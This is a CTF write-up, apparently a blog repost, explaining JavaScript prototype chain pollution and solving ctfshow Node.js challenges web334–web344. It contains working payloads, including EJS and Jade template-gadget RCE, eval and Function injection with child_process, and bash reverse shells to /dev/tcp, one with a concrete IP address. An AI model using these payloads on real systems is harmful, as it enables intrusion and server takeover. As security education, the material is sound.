NodeJS prototype chain pollution & ctfshow_nodejs

NodeJS prototype chain pollution & ctfshow_nodejs

foreword

Recently, I encountered a problem about the pollution of the prototype chain, so I will summarize it here for easy review

0x01. Prototype and prototype chain

Everything in js is an object, and there are common and differences between objects.

  • common: the final prototype of the object is Objectthe prototype ofnull
  • Difference: There are attributes in the function object prototype, but the strength object does not

1. Definition of prototype:

Prototype is the basis of inheritance in Javascript, and Javascript inheritance is inheritance based on prototype

(1) All reference types (functions, arrays, objects) have __proto__properties (implicit prototype

(2) All functions have prototypeattributes (explicit prototypes) (functions only)

2. Definition of prototype chain:

The prototype chain is the implementation form of javascript, which recursively inherits the prototype of the prototype object, and the top of the prototype chain is the prototype of Object.

0x02.prototype and __proto__what are they?

prototypeprototypeIt is an attribute of a class, and all class objects will have the methods of the attributes in it when they are instantiated

__proto__An attribute of an object , pointing to prototypean attribute of the class in which the object belongs

We can Foo.prototypeaccess Foothe prototype of the class through , but Foothe instantiated object cannot access the prototype through the prototype. At this time, it's time __proto__to show up.

A foo object instantiated from the Foo class can foo.__proto__access the prototype of the Foo class through attributes, that is to say:

foo.__proto__ == Foo.prototype

0x03. Prototype chain inheritance

prototypeAll class objects will have properties and methods when they are instantiated . This feature is used to implement the inheritance mechanism in JavaScript.

function Father() {
    
    
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    
    
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${
      
      son.first_name} ${
      
      son.last_name}`)


// Name: Melania Trump

To sum up, for the object son, when calling son.last_name, the JavaScript engine will actually perform the following operations:

  1. Find last_name in object son
  2. If not found, son.__proto__look for last_name in
  3. If still not found, then keep son.__proto__.__proto__looking for last_name in
  4. Search in turn until nullthe end is found. For example , Object.prototypethe__proto__null

Knowledge points:

  1. Each constructor (constructor) has a prototype object (prototype)
  2. The property of the object __proto__, pointing to the prototype object of the classprototype
  3. JavaScript uses the prototype chain to implement the inheritance mechanism

Prototype chains for different objects*

var o = {
    
    a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
    
    
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

Knowing this, it will be easy to understand later

0x04. Prototype chain pollution principle

For the statement: object[a][b] = valueIf you can control the values ​​of a, b, and value, and set a to __proto__, we can set a b attribute for the prototype of the object object, and the value is value. In this way, all instance objects that inherit the prototype of the object object will have the b attribute, and the value will be value, even if they do not have the b attribute themselves.

object1 = {
    
    "a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); //Hello World
object2 = {
    
    "c":1, "d":2};
console.log(object2.foo); //Hello World

Eventually two Hello Worlds will be output. Why does object2 output Hello World even if the foo attribute is not set? It is because in the second statement, we set a foo property on the prototype object of object1, and object2, like object1, inherits Object.prototype. When obtaining object2.foo, since object2 itself does not have the foo attribute, it will search for it in the parent class Object.prototype. This creates a prototype chain pollution, so prototype chain pollution simply means that if you can control and modify the prototype of an object, it can affect all objects with the same prototype as this object.

0x05.merge() causes prototype chain pollution

The merge operation is the most common operation that may control the key name, and it is also the most vulnerable to prototype chain attacks.

function merge(target, source) {
    
    
    for (let key in source) {
    
    
        if (key in source && key in target) {
    
    
            merge(target[key], source[key])
        } else {
    
    
            target[key] = source[key]
        }
    }
}

let object1 = {
    
    }
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)  // 1 2

object3 = {
    
    }
console.log(object3.b)	// 2

The above has been polluted successfully, object3 has no bvariables, but the output is 2, indicating that we have polluted Objectthe value of the prototype object, according to the inheritance of the prototype chain, object3 also has bvariables, so the output is 2

Points to note are:

In the case of JSON parsing__proto__ , it will be considered a real "key name" instead of a "prototype", so this key will exist when traversing object2.

If we don't use json parsing:

let o1 = {
    
    }
let o2 = {
    
    a: 1, "__proto__": {
    
    b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1 2

o3 = {
    
    }
console.log(o3.b)  // undefiend

This is because, in the process of creating o2 with JavaScript ( let o2 = {a: 1, "__proto__": {b: 2}}), __proto__it already represents the prototype of o2. At this time, when traversing all the key names of o2, what you get [a, b]is __proto__not a key, and naturally the prototype of Object will not be modified. .

0x06.ejs template engine RCE

https://www.anquanke.com/post/id/236354#h2-2

This vulnerability can be referred to: ctfshowweb341

The prerequisite for using ejs for RCE is prototype chain pollution. For example:

router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  var user = new function(){
    
    
    this.userinfo = new function(){
    
    
    this.isVIP = false;
    this.isAdmin = false;    
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    
    
    return res.json({
    
    ret_code: 0, ret_msg: 'login success!'});  
  }else{
    
    
    return res.json({
    
    ret_code: 2, ret_msg: 'login fail!'});  
  }

});


function copy(object1, object2){
    
    
    for (let key in object2) {
    
    
        if (key in object2 && key in object1) {
    
    
            copy(object1[key], object2[key])
        } else {
    
    
            object1[key] = object2[key]
        }
    }
  }

Here, copy()the prototype chain pollution vulnerability can be caused by the function

From what app.jswe can see the template engine is used ejs:

app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');

function we ejs.jsfollowrenderFile()

In the EJS (Embedded JavaScript) template engine, renderFile()it is a method for loading and rendering template files. It is commonly used with the Express framework.

renderFile()The function of the method is to read the specified EJS template file, and fill the data into the template to generate the final HTML content . This method is mostly used to inject dynamic data into templates to generate dynamic web content

It can be seen that this renderFile()function is very important. If the value output by it can be controlled, the corresponding code will be executed

exports.renderFile = function () {
    
    
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {
    
    filename: filename};
  var data;
  var viewOpts;
	...
  return tryHandleCache(opts, data, cb);
};

The return value is tryHandleCache(opts, data, cb)what we follow up:

function tryHandleCache(options, data, cb) {
    
    
  var result;
  if (!cb) {
    
    
    if (typeof exports.promiseImpl == 'function') {
    
    
      return new exports.promiseImpl(function (resolve, reject) {
    
    
        try {
    
    
          result = handleCache(options)(data);
          resolve(result);
        }
        ...
  }
  else {
    
    
    try {
    
    
      result = handleCache(options)(data);
    }catch (err) {
    
    
      return cb(err);
    }
      ...
  }
}

We found that this function must enter:handleCache()

function handleCache(options, template) {
    
    
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;
	...
  func = exports.compile(template, options); //返回值
  if (options.cache) {
    
    
    exports.cache.set(filename, func);
  }
  return func;
}

The return value of this function is func, funcbut exports.compile(template, options)the return value, continue to follow up: compile()

compile: function () {
    
    
	...
    if (!this.source) {
    
    
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
    
    
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      ...
 		...
    }

We found that there are a lot of splicing rendering in the function,

If it can be covered opts.outputFunctionName, the payload we constructed will be spliced ​​into the js statement, and RCE will be performed when ejs is rendered

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection

prepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); var __tmp2 = __append;'
// 拼接了命令语句

We can override opts.outputFunctionNameas:

__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2

Then after the ejs prototype chain is polluted outputFunctionName, rce can be realized

Since the example here: user.userinfois a function, it needs to be used twice __proto__to get the prototype object:Object

{
    
    "__proto__":{
    
    "__proto__":{
    
    "outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2"}}}

After the copy function is executed, outputFunctionNamehas been copied in the global variable at this time, and our pollution chain can be found under the of __proto__Global :__proto____proto__

image-20230805224318003

Another rce of ejs template engine

var escapeFn = opts.escapeFunction;
var ctor;
...
    if (opts.client) {
    
    
    src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
    if (opts.compileDebug) {
    
    
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
    }
}

Forgery opts.escapeFunctioncan also perform RCE

{
    
    "__proto__":{
    
    "__proto__":{
    
    "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}

{
    
    "__proto__":{
    
    "__proto__":{
    
    "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}

0x07.jade template engine RCE

You can refer to: ctfshow web342

The pollution idea of ​​the prototype chain is very similar to the ejs idea

The template engine found in app.js is jade:

app.engine('jade', require('jade').__express); 
app.set('view engine', 'jade');

Let's follow up jade.js, keep watchingrenderFile()

exports.renderFile = function(path, options, fn){
    
    
  // support callback API
  ...

  options.filename = path;
  return handleTemplateCache(options)(options);	//返回值
};

follow uphandleTemplateCache()

function handleTemplateCache (options, str) {
    
    
  ...
  else {
    
    
    var templ = exports.compile(str, options);  //
    if (options.cache) exports.cache[key] = templ;
    return templ;
  }
}

The return value is temp1, so we followcompile()

20210325203504979

We must satisfy:compileDebug==true

The jade template is different from ejs, there will be parse analysis before compile, try to control the statement passed into parse

So let's follow up with parse()the function

20210325204216262

In the parse function, these two steps are mainly performed, and the last part returned:

  var body = ''
    + 'var buf = [];\n'
    + 'var jade_mixins = {};\n'
    + 'var jade_interp;\n'
    + (options.self
      ? 'var self = locals || {};\n' + js
      : addWith('locals || {}', '\n' + js, globals)) + ';'
    + 'return buf.join("");';
  return {
    
    body: body, dependencies: parser.dependencies};

options.selfControllable, if we control self=true, we can bypass addWiththe function,

Follow up the compile function and see what it does:

20210325204630223

The return is buf, follow up the visit function

20210325205015036

If debug is true, node.lineit will be pushed in, resulting in splicing (two parameters)

jade_debug.unshift(new jade.DebugItem( 0, "" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//
// 注释符注释掉后面的语句

When returning, it will also pass through the visitNode function:

visitNode: function(node){
    
    
    return this['visit' + node.type](node);}

This function will execute visitthe function at the beginning, so we need to control it typeto be valid:

visitAttributes
visitBlock
visitBlockComment √
visitCase
visitCode √
visitComment √
visitDoctype √
visitEach
visitFilter
visitMixin
visitMixinBlock √
visitNode
visitLiteral
visitText
visitTag
visitWhen

Then you can return to the buf part for command execution

{
    
    "__proto__":{
    
    "__proto__": {
    
    "type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}

(Pollution of the corresponding variable, so as to enter the specified place for string splicing)

Supplement: For the pollution of the jade RCE chain, ordinary templates can only pollute self and line, but templates with inheritance also need to pollute type

【ctfshow】nodejs

web334

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
    
    
  return users.find(function(item){
    
    
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
    
    
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    
    
    req.session.regenerate(function(err) {
    
    
      if(err){
    
    
        return res.json({
    
    ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({
    
    ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    
    
    res.json({
    
    ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

user.js

module.exports = {
    
    
  items: [
    {
    
    username: 'CTFSHOW', password: '123456'}
  ]
};

Obviously, we just need to bypass here:toUpperCase()是javascript中将小写转换成大写的函数。

return users.find(function(item){
    
    
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });

We can use lowercase to bypass:ctfshow

Here is another small trick,

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

So we can also write it like this:ctfſhow

web335

Source code hint:

<!-- /?eval= -->

So we can use the command execution nodejsineval()

The call in Node.js child_process.execis /bash.sh, which is a bash interpreter that can execute system commands. Can be constructed in the parameters of the eval function require('child_process').exec('');to call.

image-20230411173113969

Here we choose to reverse the shell,

bash -i >& /dev/tcp/ip/port 0>&1

The meaning of this sentence is to rebound the shell, reshape the output and input to the specified port of the specified ip,

But we can't do this directly, we need to base64 encode first (note that the plus sign needs to be url-encoded as %2B), then use echo output, use the pipe symbol | to decrypt the output as input to base64, and finally pass it to base64 -dbash

Here I choose my own server, first listen to port 9996, and then execute

image-20230411173813970

Successfully listened to:

image-20230411174043978

Read the flag directly

web336

We learned the following knowledge points:

__filename: The file name of the current module. This is the absolute path to the resolved symlink to the current module file.

__dirname: You can get the full path of the directory where the current file is located starting from the drive letter

image-20230411181055933

One way is to use fsthe module to read the file name of the current directory, and then use the method to read the file content:

require('fs').readdirSync('.')

image-20230411182806500

require('fs').readFileSync('fl001g.txt')

image-20230411182941723

Conventional method: filtered here exec, we can usespawn

nodejsYou child_processcan use exec, execSync, spawn, spawnSyncto execute commands

When we use:

require('child_process').spawnSync('ls')

image-20230411183551070

discover, display object, inquire about information

image-20230411183721508

There is an attribute in the returned object stdout, we call it, it can be output as a string:

image-20230411183854636

Then we go to read the file:

// require('child_process').spawnSync('cat fl001g.txt').stdout

The syntax is wrong to read it this way, we need this:

require('child_process').spawnSync('cat',['fl001g.txt']).stdout

image-20230411184039325

There is another way of thinking, by defining variables, and then splicing multiple variables:

insert image description here

web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
    
    
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
    
    
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    
    
  	res.end(flag);
  }else{
    
    
  	res.render('index',{
    
     msg: 'tql'});
  }
  
});

module.exports = router;

The key points are here:

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    
    
  	res.end(flag);

Here you can use an array to bypass

a = ['1']
b = 1
console.log(a + 'flag')
console.log(b + 'flag')

output:

1flag
1flag

As you can see, nodejsmiddle: if the output is concatenated with the array and the string , and the output is concatenated with the number and the string , the result is the same

So we have an idea that a can be passed into an array, and then b can be passed into an equivalent number:

a[]=1&b=1

image-20230411191205702

There is another way,

nodejsThe array in the middle can only be a numeric index, if it is a non-numeric index, it is equivalent to an object.

a = {
    
    'x': 1}
b = {
    
    'x': 2}
console.log(a + 'flag')
console.log(b + 'flag')

输出:
[object Object]flag
[object Object]flag

So we bypass directly:

a[x]=1&b[x]=2

web338

nodejs prototype chain pollution

The key is:

commons.js

module.exports = {
    
    
  copy:copy
};

function copy(object1, object2){
    
    
    for (let key in object2) {
    
    
        if (key in object2 && key in object1) {
    
    
            copy(object1[key], object2[key])
        } else {
    
    
            object1[key] = object2[key]
        }
    }
  }

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  var flag='flag_here';
  var secert = {
    
    };
  var sess = req.session;
  let user = {
    
    };
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    
       //
    res.end(flag);
  }else{
    
    
    return res.json({
    
    ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

We can copy()pollute the ctfshow attribute of the secret variable through the function and through the prototype chain

{
    
    
	"username":"asd",
	"password":"123",
    "__proto__" : {
    
    
    	"ctfshow":"36dboy"
    }
 }

image-20230805162712273

web339

login.js

 let user = {
    
    };
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    
    
    res.end(flag);
  }

no use here

api.js

router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  res.render('api', {
    
     query: Function(query)(query)});
});

Pay attention to this sentence: Function(query)(query), this way of writing can dynamically execute the function:

console.log(Function('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()')('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()'))

// leekos\like

Therefore, we only need to pollute querythe variables through the prototype chain and bounce the shell:

"__proto__":  {
    
    
    "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"'')"
}

Pollution when logging in query, and then accessing /apithe route can trigger a rebound shell:

web340

login.js has changed a bit, api.js is still the same

var user = new function(){
    
    
    this.userinfo = new function(){
    
    
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    
    
   res.end(flag);
  }

The function is still called here copy(), which can cause prototype chain pollution. But note that it is not used here user.userinfo.isAdmin=true, because even if its prototype is polluted, it is still false, because of the principle of similarity and proximity, the value of the variable is still equal to the value close to them, we have no way to start from here

Let's continue from querythe beginning, here we want to req.bodycopy the value in to theuser.userinfo

Since user.userinfoit is a function, after passing it once __proto__, the prototype object obtained is Function, and __proto__after passing it again, the prototype object obtained is Object, and it can be polluted . It only needs querytwo times here :__proto__

"__proto__":{
    
    
    "__proto__":{
    
    
        "query":
        "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/49.235.108.15/9996 0>&1\"')"
    }
}

web341

ejs prototype chain pollution:

https://www.anquanke.com/post/id/236354#h2-2

"__proto__":{
    
    
    "__proto__":{
    
    
        "outputFunctionName":
        "_tmp1; return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var _tmp2"
    }
}

web342-343

jade prototype chain pollution:
{
    
    
	"__proto__":{
    
    
        "__proto__": {
    
    
            "type":"Code",
            "compileDebug":true,
            "self":true,
            "line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');//"
        }
    }
}

web344

router.get('/', function(req, res, next) {
    
    
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
    
    
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
    
    
  	res.end(flag);
  }else{
    
    
  	res.end('where is flag. :)');
  }

});

filtered 8c, 2c_,

We should have passed parameters like this:

/?query={"name":"admin","password":"ctfshow","isVIP":true}

The HTTP protocol allows parameters with the same name to appear multiple times, but different servers handle parameters with the same name differently:

Web服务器        参数获取函数              获取到的参数

PHP/Apache       $_GET(“par”)            Last

JSP/Tomcat       Request.getParameter(“par”)    First

Perl(CGI)/Apache   Param(“par”)            First

Python/Apache     getvalue(“par”)           All(List)

ASP/IIS        Request.QueryString(“par”)    All (comma-delimited string)

In nodejs, the parameters with the same name will be stored in the form of an array , and JSON.parsecan be parsed normally

image-20230805210302505

The above commas ,are filtered, we can &rewrite it into the following format:

/?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

But at this time there is another problem, the url encoding of double quotes: after combining %22with ctfshow, it will become, filtered,c2c

So we should ccode it:%63

/?query={
    
    "name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

reference

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://www.anquanke.com/post/id/236354#h2-3

Guess you like

Origin blog.csdn.net/qq_61839115/article/details/132125819